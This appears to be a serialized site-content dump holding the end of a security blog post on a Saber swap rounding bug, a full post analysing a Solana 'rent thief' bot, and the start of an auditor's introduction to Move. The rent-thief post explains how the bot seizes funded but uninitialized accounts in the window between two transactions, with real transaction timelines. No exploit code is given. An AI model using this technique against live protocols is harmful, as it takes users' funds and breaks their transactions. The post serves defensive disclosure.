5,16359,16363,16367,16371,16375,16379,16383],{"type":23,"tag":75,"props":16296,"children":16297},{"style":209},[16298],{"type":29,"value":7862},{"type":23,"tag":75,"props":16300,"children":16301},{"style":82},[16302],{"type":29,"value":14352},{"type":23,"tag":75,"props":16304,"children":16305},{"style":94},[16306],{"type":29,"value":183},{"type":23,"tag":75,"props":16308,"children":16309},{"style":110},[16310],{"type":29,"value":14361},{"type":23,"tag":75,"props":16312,"children":16313},{"style":94},[16314],{"type":29,"value":611},{"type":23,"tag":75,"props":16316,"children":16317},{"style":110},[16318],{"type":29,"value":14370},{"type":23,"tag":75,"props":16320,"children":16321},{"style":94},[16322],{"type":29,"value":167},{"type":23,"tag":75,"props":16324,"children":16325},{"style":209},[16326],{"type":29,"value":212},{"type":23,"tag":75,"props":16328,"children":16329},{"style":94},[16330],{"type":29,"value":183},{"type":23,"tag":75,"props":16332,"children":16333},{"style":88},[16334],{"type":29,"value":14387},{"type":23,"tag":75,"props":16336,"children":16337},{"style":94},[16338],{"type":29,"value":643},{"type":23,"tag":75,"props":16340,"children":16341},{"style":209},[16342],{"type":29,"value":1277},{"type":23,"tag":75,"props":16344,"children":16345},{"style":110},[16346],{"type":29,"value":14400},{"type":23,"tag":75,"props":16348,"children":16349},{"style":94},[16350],{"type":29,"value":611},{"type":23,"tag":75,"props":16352,"children":16353},{"style":237},[16354],{"type":29,"value":14409},{"type":23,"tag":75,"props":16356,"children":16357},{"style":94},[16358],{"type":29,"value":1347},{"type":23,"tag":75,"props":16360,"children":16361},{"style":209},[16362],{"type":29,"value":14418},{"type":23,"tag":75,"props":16364,"children":16365},{"style":88},[16366],{"type":29,"value":14423},{"type":23,"tag":75,"props":16368,"children":16369},{"style":94},[16370],{"type":29,"value":643},{"type":23,"tag":75,"props":16372,"children":16373},{"style":110},[16374],{"type":29,"value":14432},{"type":23,"tag":75,"props":16376,"children":16377},{"style":94},[16378],{"type":29,"value":1347},{"type":23,"tag":75,"props":16380,"children":16381},{"style":209},[16382],{"type":29,"value":1225},{"type":23,"tag":75,"props":16384,"children":16385},{"style":94},[16386],{"type":29,"value":653},{"type":23,"tag":75,"props":16388,"children":16389},{"class":77,"line":279},[16390,16394,16398,16402,16406,16410,16414,16418,16422,16426,16430,16434,16438,16442,16446,16450,16454,16458,16462,16466,16470,16474,16478,16482,16486],{"type":23,"tag":75,"props":16391,"children":16392},{"style":209},[16393],{"type":29,"value":7862},{"type":23,"tag":75,"props":16395,"children":16396},{"style":209},[16397],{"type":29,"value":14452},{"type":23,"tag":75,"props":16399,"children":16400},{"style":88},[16401],{"type":29,"value":14457},{"type":23,"tag":75,"props":16403,"children":16404},{"style":94},[16405],{"type":29,"value":643},{"type":23,"tag":75,"props":16407,"children":16408},{"style":88},[16409],{"type":29,"value":14466},{"type":23,"tag":75,"props":16411,"children":16412},{"style":94},[16413],{"type":29,"value":643},{"type":23,"tag":75,"props":16415,"children":16416},{"style":209},[16417],{"type":29,"value":1277},{"type":23,"tag":75,"props":16419,"children":16420},{"style":110},[16421],{"type":29,"value":14400},{"type":23,"tag":75,"props":16423,"children":16424},{"style":94},[16425],{"type":29,"value":611},{"type":23,"tag":75,"props":16427,"children":16428},{"style":237},[16429],{"type":29,"value":14409},{"type":23,"tag":75,"props":16431,"children":16432},{"style":94},[16433],{"type":29,"value":1347},{"type":23,"tag":75,"props":16435,"children":16436},{"style":209},[16437],{"type":29,"value":14418},{"type":23,"tag":75,"props":16439,"children":16440},{"style":88},[16441],{"type":29,"value":14423},{"type":23,"tag":75,"props":16443,"children":16444},{"style":94},[16445],{"type":29,"value":643},{"type":23,"tag":75,"props":16447,"children":16448},{"style":110},[16449],{"type":29,"value":14507},{"type":23,"tag":75,"props":16451,"children":16452},{"style":94},[16453],{"type":29,"value":1347},{"type":23,"tag":75,"props":16455,"children":16456},{"style":209},[16457],{"type":29,"value":14418},{"type":23,"tag":75,"props":16459,"children":16460},{"style":88},[16461],{"type":29,"value":14520},{"type":23,"tag":75,"props":16463,"children":16464},{"style":94},[16465],{"type":29,"value":643},{"type":23,"tag":75,"props":16467,"children":16468},{"style":110},[16469],{"type":29,"value":14529},{"type":23,"tag":75,"props":16471,"children":16472},{"style":94},[16473],{"type":29,"value":1347},{"type":23,"tag":75,"props":16475,"children":16476},{"style":209},[16477],{"type":29,"value":1225},{"type":23,"tag":75,"props":16479,"children":16480},{"style":94},[16481],{"type":29,"value":1347},{"type":23,"tag":75,"props":16483,"children":16484},{"style":209},[16485],{"type":29,"value":1225},{"type":23,"tag":75,"props":16487,"children":16488},{"style":94},[16489],{"type":29,"value":245},{"type":23,"tag":75,"props":16491,"children":16492},{"class":77,"line":303},[16493,16497,16501,16505,16509,16513],{"type":23,"tag":75,"props":16494,"children":16495},{"style":209},[16496],{"type":29,"value":7862},{"type":23,"tag":75,"props":16498,"children":16499},{"style":175},[16500],{"type":29,"value":2445},{"type":23,"tag":75,"props":16502,"children":16503},{"style":110},[16504],{"type":29,"value":14561},{"type":23,"tag":75,"props":16506,"children":16507},{"style":209},[16508],{"type":29,"value":1372},{"type":23,"tag":75,"props":16510,"children":16511},{"style":110},[16512],{"type":29,"value":14301},{"type":23,"tag":75,"props":16514,"children":16515},{"style":94},[16516],{"type":29,"value":401},{"type":23,"tag":75,"props":16518,"children":16519},{"class":77,"line":322},[16520,16525],{"type":23,"tag":75,"props":16521,"children":16522},{"style":175},[16523],{"type":29,"value":16524},"             break",{"type":23,"tag":75,"props":16526,"children":16527},{"style":94},[16528],{"type":29,"value":245},{"type":23,"tag":75,"props":16530,"children":16531},{"class":77,"line":340},[16532,16536,16540,16544],{"type":23,"tag":75,"props":16533,"children":16534},{"style":209},[16535],{"type":29,"value":7862},{"type":23,"tag":75,"props":16537,"children":16538},{"style":94},[16539],{"type":29,"value":6873},{"type":23,"tag":75,"props":16541,"children":16542},{"style":175},[16543],{"type":29,"value":6878},{"type":23,"tag":75,"props":16545,"children":16546},{"style":94},[16547],{"type":29,"value":401},{"type":23,"tag":75,"props":16549,"children":16550},{"class":77,"line":349},[16551,16555,16559,16563,16567],{"type":23,"tag":75,"props":16552,"children":16553},{"style":209},[16554],{"type":29,"value":7862},{"type":23,"tag":75,"props":16556,"children":16557},{"style":110},[16558],{"type":29,"value":14608},{"type":23,"tag":75,"props":16560,"children":16561},{"style":209},[16562],{"type":29,"value":1193},{"type":23,"tag":75,"props":16564,"children":16565},{"style":110},[16566],{"type":29,"value":14561},{"type":23,"tag":75,"props":16568,"children":16569},{"style":94},[16570],{"type":29,"value":245},{"type":23,"tag":75,"props":16572,"children":16573},{"class":77,"line":363},[16574],{"type":23,"tag":75,"props":16575,"children":16576},{"style":94},[16577],{"type":29,"value":16578},"         }\n",{"type":23,"tag":24,"props":16580,"children":16582},{"id":16581},"closing-thoughts",[16583],{"type":29,"value":16584},"Closing Thoughts",{"type":23,"tag":32,"props":16586,"children":16587},{},[16588],{"type":29,"value":16589},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":32,"props":16591,"children":16592},{},[16593,16595,16601],{"type":29,"value":16594},"Another interesting takeaway is that ",{"type":23,"tag":16596,"props":16597,"children":16598},"strong",{},[16599],{"type":29,"value":16600},"fuzzing can give a false sense of security",{"type":29,"value":16602},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":32,"props":16604,"children":16605},{},[16606,16608,16615],{"type":29,"value":16607},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":940,"props":16609,"children":16612},{"href":16610,"rel":16611},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[944],[16613],{"type":29,"value":16614},"port-mortem of the NSS overflow",{"type":29,"value":557},{"type":23,"tag":32,"props":16617,"children":16618},{},[16619],{"type":23,"tag":15189,"props":16620,"children":16622},{"alt":7,"src":16621},"/posts/spl-swap/p0.png",[],{"type":23,"tag":32,"props":16624,"children":16625},{},[16626],{"type":29,"value":16627},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":32,"props":16629,"children":16630},{},[16631],{"type":29,"value":16632},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":32,"props":16634,"children":16635},{},[16636],{"type":29,"value":16637},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":14130,"props":16639,"children":16640},{},[16641],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":16643},[16644,16645,16646,16647],{"id":14212,"depth":100,"text":14215},{"id":15195,"depth":100,"text":15198},{"id":15500,"depth":100,"text":15503},{"id":16581,"depth":100,"text":16584},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":16652,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16653,"description":16654,"image":16655,"date":16659,"isFeatured":15,"onBlogPage":15,"tags":16660,"body":16661,"_type":14157,"_id":16984,"_source":14159,"_file":16985,"_stem":16986,"_extension":14162},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":16656,"width":16657,"height":16658},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[14174,14175],{"type":20,"children":16662,"toc":16977},[16663,16668,16674,16679,16684,16689,16695,16708,16755,16786,16795,16800,16805,16810,16816,16829,16844,16849,16854,16869,16873,16878,16893,16900,16905,16915,16922,16926,16931,16937,16942,16947,16952,16958,16963],{"type":23,"tag":32,"props":16664,"children":16665},{},[16666],{"type":29,"value":16667},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":24,"props":16669,"children":16671},{"id":16670},"background",[16672],{"type":29,"value":16673},"Background",{"type":23,"tag":32,"props":16675,"children":16676},{},[16677],{"type":29,"value":16678},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":32,"props":16680,"children":16681},{},[16682],{"type":29,"value":16683},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":32,"props":16685,"children":16686},{},[16687],{"type":29,"value":16688},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":24,"props":16690,"children":16692},{"id":16691},"the-exploit",[16693],{"type":29,"value":16694},"The Exploit",{"type":23,"tag":32,"props":16696,"children":16697},{},[16698,16700,16706],{"type":29,"value":16699},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":71,"props":16701,"children":16703},{"className":16702},[],[16704],{"type":29,"value":16705},"init_reserve",{"type":29,"value":16707}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":2797,"props":16709,"children":16710},{},[16711,16716,16721,16726,16737,16742],{"type":23,"tag":2801,"props":16712,"children":16713},{},[16714],{"type":29,"value":16715},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":2801,"props":16717,"children":16718},{},[16719],{"type":29,"value":16720},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":2801,"props":16722,"children":16723},{},[16724],{"type":29,"value":16725},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":2801,"props":16727,"children":16728},{},[16729,16731],{"type":29,"value":16730},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":71,"props":16732,"children":16734},{"className":16733},[],[16735],{"type":29,"value":16736},"cTokens",{"type":23,"tag":2801,"props":16738,"children":16739},{},[16740],{"type":29,"value":16741},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":2801,"props":16743,"children":16744},{},[16745,16747,16753],{"type":29,"value":16746},"creator collateral token account - creator's ",{"type":23,"tag":71,"props":16748,"children":16750},{"className":16749},[],[16751],{"type":29,"value":16752},"cToken",{"type":29,"value":16754}," account",{"type":23,"tag":32,"props":16756,"children":16757},{},[16758,16760,16765,16767,16772,16774,16779,16781],{"type":29,"value":16759},"Account creation and initialization are ",{"type":23,"tag":9690,"props":16761,"children":16762},{},[16763],{"type":29,"value":16764},"usually",{"type":29,"value":16766}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":71,"props":16768,"children":16770},{"className":16769},[],[16771],{"type":29,"value":16705},{"type":29,"value":16773}," is ",{"type":23,"tag":9690,"props":16775,"children":16776},{},[16777],{"type":29,"value":16778},"supposed",{"type":29,"value":16780}," to look like:\n",{"type":23,"tag":15189,"props":16782,"children":16785},{"src":16783,"alt":16784},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":32,"props":16787,"children":16788},{},[16789,16791],{"type":29,"value":16790},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":15189,"props":16792,"children":16794},{"src":16793,"alt":16784},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":32,"props":16796,"children":16797},{},[16798],{"type":29,"value":16799},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":32,"props":16801,"children":16802},{},[16803],{"type":29,"value":16804},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":32,"props":16806,"children":16807},{},[16808],{"type":29,"value":16809},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":24,"props":16811,"children":16813},{"id":16812},"example",[16814],{"type":29,"value":16815},"Example",{"type":23,"tag":32,"props":16817,"children":16818},{},[16819,16821,16828],{"type":29,"value":16820},"Let's take a look at ",{"type":23,"tag":940,"props":16822,"children":16825},{"href":16823,"rel":16824},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[944],[16826],{"type":29,"value":16827},"a real attack",{"type":29,"value":557},{"type":23,"tag":32,"props":16830,"children":16831},{},[16832,16839,16840],{"type":23,"tag":940,"props":16833,"children":16836},{"href":16834,"rel":16835},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[944],[16837],{"type":29,"value":16838},"Transaction 1",{"type":29,"value":4732},{"type":23,"tag":15189,"props":16841,"children":16843},{"alt":7,"src":16842},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":32,"props":16845,"children":16846},{},[16847],{"type":29,"value":16848},"(...more accounts truncated)",{"type":23,"tag":32,"props":16850,"children":16851},{},[16852],{"type":29,"value":16853},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":32,"props":16855,"children":16856},{},[16857,16864,16865],{"type":23,"tag":940,"props":16858,"children":16861},{"href":16859,"rel":16860},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[944],[16862],{"type":29,"value":16863},"Attacker's Transaction",{"type":29,"value":4732},{"type":23,"tag":15189,"props":16866,"children":16868},{"alt":7,"src":16867},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":32,"props":16870,"children":16871},{},[16872],{"type":29,"value":16848},{"type":23,"tag":32,"props":16874,"children":16875},{},[16876],{"type":29,"value":16877},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":32,"props":16879,"children":16880},{},[16881,16888,16889],{"type":23,"tag":940,"props":16882,"children":16885},{"href":16883,"rel":16884},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[944],[16886],{"type":29,"value":16887},"Transaction 2",{"type":29,"value":4732},{"type":23,"tag":15189,"props":16890,"children":16892},{"alt":7,"src":16891},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":32,"props":16894,"children":16895},{},[16896],{"type":23,"tag":15189,"props":16897,"children":16899},{"alt":7,"src":16898},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":32,"props":16901,"children":16902},{},[16903],{"type":29,"value":16904},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":32,"props":16906,"children":16907},{},[16908,16914],{"type":23,"tag":940,"props":16909,"children":16912},{"href":16910,"rel":16911},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[944],[16913],{"type":29,"value":16863},{"type":29,"value":1018},{"type":23,"tag":32,"props":16916,"children":16917},{},[16918],{"type":23,"tag":15189,"props":16919,"children":16921},{"alt":7,"src":16920},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":32,"props":16923,"children":16924},{},[16925],{"type":29,"value":16848},{"type":23,"tag":32,"props":16927,"children":16928},{},[16929],{"type":29,"value":16930},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":24,"props":16932,"children":16934},{"id":16933},"impact",[16935],{"type":29,"value":16936},"Impact",{"type":23,"tag":32,"props":16938,"children":16939},{},[16940],{"type":29,"value":16941},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":32,"props":16943,"children":16944},{},[16945],{"type":29,"value":16946},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":32,"props":16948,"children":16949},{},[16950],{"type":29,"value":16951},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":24,"props":16953,"children":16955},{"id":16954},"solution",[16956],{"type":29,"value":16957},"Solution",{"type":23,"tag":32,"props":16959,"children":16960},{},[16961],{"type":29,"value":16962},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":32,"props":16964,"children":16965},{},[16966,16968,16975],{"type":29,"value":16967},"As a more permenant solution, Solend implemented ",{"type":23,"tag":940,"props":16969,"children":16972},{"href":16970,"rel":16971},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[944],[16973],{"type":29,"value":16974},"an onchain program",{"type":29,"value":16976}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":100,"depth":100,"links":16978},[16979,16980,16981,16982,16983],{"id":16670,"depth":100,"text":16673},{"id":16691,"depth":100,"text":16694},{"id":16812,"depth":100,"text":16815},{"id":16933,"depth":100,"text":16936},{"id":16954,"depth":100,"text":16957},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":16988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16989,"description":16990,"author":16991,"image":16992,"date":16996,"isFeatured":15,"onBlogPage":15,"body":16997,"_type":14157,"_id":20507,"_source":14159,"_file":20508,"_stem":20509,"_extension":14162},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":16993,"height":16994,"width":16995},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":16998,"toc":20502},[16999,17004,17009,17028,17033,17045,17142,17150,17268,17276,17298,17450,17455,17713,17734,17768,17773,17793,17798,17809,17821,18031,18043,18057,18070,18327,18339,18558,18563,18590,18735,18754,18759,19023,19035,19040,19053,19059,19064,19069,19081,19095,19100,19199,19211,19224,19498,19503,19515,19520,19574,19594,19599,20471,20475,20480,20485,20498],{"type":23,"tag":32,"props":17000,"children":17001},{},[17002],{"type":29,"value":17003},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":32,"props":17005,"children":17006},{},[17007],{"type":29,"value":17008},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":32,"props":17010,"children":17011},{},[17012,17014,17019,17021,17026],{"type":29,"value":17013},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":9690,"props":17015,"children":17016},{},[17017],{"type":29,"value":17018},"how",{"type":29,"value":17020}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":9690,"props":17022,"children":17023},{},[17024],{"type":29,"value":17025},"structurally",{"type":29,"value":17027}," safer programs.",{"type":23,"tag":24,"props":17029,"children":17030},{"id":2344},[17031],{"type":29,"value":17032},"Types",{"type":23,"tag":32,"props":17034,"children":17035},{},[17036,17038,17044],{"type":29,"value":17037},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":71,"props":17039,"children":17041},{"className":17040},[],[17042],{"type":29,"value":17043},"coin.move",{"type":29,"value":557},{"type":23,"tag":64,"props":17046,"children":17048},{"className":987,"code":17047,"language":986,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[17049],{"type":23,"tag":71,"props":17050,"children":17051},{"__ignoreMap":7},[17052,17060,17105,17113,17134],{"type":23,"tag":75,"props":17053,"children":17054},{"class":77,"line":78},[17055],{"type":23,"tag":75,"props":17056,"children":17057},{"style":3621},[17058],{"type":29,"value":17059},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":75,"props":17061,"children":17062},{"class":77,"line":100},[17063,17068,17073,17077,17082,17087,17092,17097,17101],{"type":23,"tag":75,"props":17064,"children":17065},{"style":82},[17066],{"type":29,"value":17067},"  struct",{"type":23,"tag":75,"props":17069,"children":17070},{"style":104},[17071],{"type":29,"value":17072}," Coin",{"type":23,"tag":75,"props":17074,"children":17075},{"style":94},[17076],{"type":29,"value":295},{"type":23,"tag":75,"props":17078,"children":17079},{"style":110},[17080],{"type":29,"value":17081},"phantom",{"type":23,"tag":75,"props":17083,"children":17084},{"style":104},[17085],{"type":29,"value":17086}," CoinType",{"type":23,"tag":75,"props":17088,"children":17089},{"style":94},[17090],{"type":29,"value":17091},"> ",{"type":23,"tag":75,"props":17093,"children":17094},{"style":110},[17095],{"type":29,"value":17096},"has",{"type":23,"tag":75,"props":17098,"children":17099},{"style":110},[17100],{"type":29,"value":2450},{"type":23,"tag":75,"props":17102,"children":17103},{"style":94},[17104],{"type":29,"value":401},{"type":23,"tag":75,"props":17106,"children":17107},{"class":77,"line":121},[17108],{"type":23,"tag":75,"props":17109,"children":17110},{"style":3621},[17111],{"type":29,"value":17112},"      /// Amount of coin this address has.\n",{"type":23,"tag":75,"props":17114,"children":17115},{"class":77,"line":138},[17116,17121,17125,17130],{"type":23,"tag":75,"props":17117,"children":17118},{"style":110},[17119],{"type":29,"value":17120},"      value",{"type":23,"tag":75,"props":17122,"children":17123},{"style":209},[17124],{"type":29,"value":1018},{"type":23,"tag":75,"props":17126,"children":17127},{"style":104},[17128],{"type":29,"value":17129}," u64",{"type":23,"tag":75,"props":17131,"children":17132},{"style":94},[17133],{"type":29,"value":118},{"type":23,"tag":75,"props":17135,"children":17136},{"class":77,"line":161},[17137],{"type":23,"tag":75,"props":17138,"children":17139},{"style":94},[17140],{"type":29,"value":17141},"  }\n",{"type":23,"tag":32,"props":17143,"children":17144},{},[17145],{"type":23,"tag":9690,"props":17146,"children":17147},{},[17148],{"type":29,"value":17149},"aptos",{"type":23,"tag":64,"props":17151,"children":17153},{"className":987,"code":17152,"language":986,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[17154],{"type":23,"tag":71,"props":17155,"children":17156},{"__ignoreMap":7},[17157,17165,17213,17230,17261],{"type":23,"tag":75,"props":17158,"children":17159},{"class":77,"line":78},[17160],{"type":23,"tag":75,"props":17161,"children":17162},{"style":3621},[17163],{"type":29,"value":17164},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":75,"props":17166,"children":17167},{"class":77,"line":100},[17168,17172,17176,17180,17184,17189,17193,17197,17201,17205,17209],{"type":23,"tag":75,"props":17169,"children":17170},{"style":82},[17171],{"type":29,"value":17067},{"type":23,"tag":75,"props":17173,"children":17174},{"style":104},[17175],{"type":29,"value":17072},{"type":23,"tag":75,"props":17177,"children":17178},{"style":94},[17179],{"type":29,"value":295},{"type":23,"tag":75,"props":17181,"children":17182},{"style":110},[17183],{"type":29,"value":17081},{"type":23,"tag":75,"props":17185,"children":17186},{"style":104},[17187],{"type":29,"value":17188}," T",{"type":23,"tag":75,"props":17190,"children":17191},{"style":94},[17192],{"type":29,"value":17091},{"type":23,"tag":75,"props":17194,"children":17195},{"style":110},[17196],{"type":29,"value":17096},{"type":23,"tag":75,"props":17198,"children":17199},{"style":110},[17200],{"type":29,"value":1663},{"type":23,"tag":75,"props":17202,"children":17203},{"style":94},[17204],{"type":29,"value":611},{"type":23,"tag":75,"props":17206,"children":17207},{"style":110},[17208],{"type":29,"value":2411},{"type":23,"tag":75,"props":17210,"children":17211},{"style":94},[17212],{"type":29,"value":401},{"type":23,"tag":75,"props":17214,"children":17215},{"class":77,"line":121},[17216,17221,17225],{"type":23,"tag":75,"props":17217,"children":17218},{"style":110},[17219],{"type":29,"value":17220},"      id",{"type":23,"tag":75,"props":17222,"children":17223},{"style":209},[17224],{"type":29,"value":1018},{"type":23,"tag":75,"props":17226,"children":17227},{"style":94},[17228],{"type":29,"value":17229}," UID,\n",{"type":23,"tag":75,"props":17231,"children":17232},{"class":77,"line":138},[17233,17238,17242,17247,17251,17256],{"type":23,"tag":75,"props":17234,"children":17235},{"style":110},[17236],{"type":29,"value":17237},"      balance",{"type":23,"tag":75,"props":17239,"children":17240},{"style":209},[17241],{"type":29,"value":1018},{"type":23,"tag":75,"props":17243,"children":17244},{"style":104},[17245],{"type":29,"value":17246}," Balance",{"type":23,"tag":75,"props":17248,"children":17249},{"style":94},[17250],{"type":29,"value":295},{"type":23,"tag":75,"props":17252,"children":17253},{"style":104},[17254],{"type":29,"value":17255},"T",{"type":23,"tag":75,"props":17257,"children":17258},{"style":94},[17259],{"type":29,"value":17260},">\n",{"type":23,"tag":75,"props":17262,"children":17263},{"class":77,"line":161},[17264],{"type":23,"tag":75,"props":17265,"children":17266},{"style":94},[17267],{"type":29,"value":17141},{"type":23,"tag":32,"props":17269,"children":17270},{},[17271],{"type":23,"tag":9690,"props":17272,"children":17273},{},[17274],{"type":29,"value":17275},"sui",{"type":23,"tag":32,"props":17277,"children":17278},{},[17279,17281,17288,17290,17296],{"type":29,"value":17280},"Pulling an example from ",{"type":23,"tag":940,"props":17282,"children":17285},{"href":17283,"rel":17284},"https://pontem.network/",[944],[17286],{"type":29,"value":17287},"Pontem Network's",{"type":29,"value":17289}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":71,"props":17291,"children":17293},{"className":17292},[],[17294],{"type":29,"value":17295},"LiquidityPool",{"type":29,"value":17297}," natively embeds this type information into it's fields.",{"type":23,"tag":64,"props":17299,"children":17301},{"className":987,"code":17300,"language":986,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[17302],{"type":23,"tag":71,"props":17303,"children":17304},{"__ignoreMap":7},[17305,17313,17377,17406,17435,17443],{"type":23,"tag":75,"props":17306,"children":17307},{"class":77,"line":78},[17308],{"type":23,"tag":75,"props":17309,"children":17310},{"style":3621},[17311],{"type":29,"value":17312},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":75,"props":17314,"children":17315},{"class":77,"line":100},[17316,17321,17326,17330,17334,17339,17343,17347,17352,17356,17360,17365,17369,17373],{"type":23,"tag":75,"props":17317,"children":17318},{"style":82},[17319],{"type":29,"value":17320},"    struct",{"type":23,"tag":75,"props":17322,"children":17323},{"style":104},[17324],{"type":29,"value":17325}," 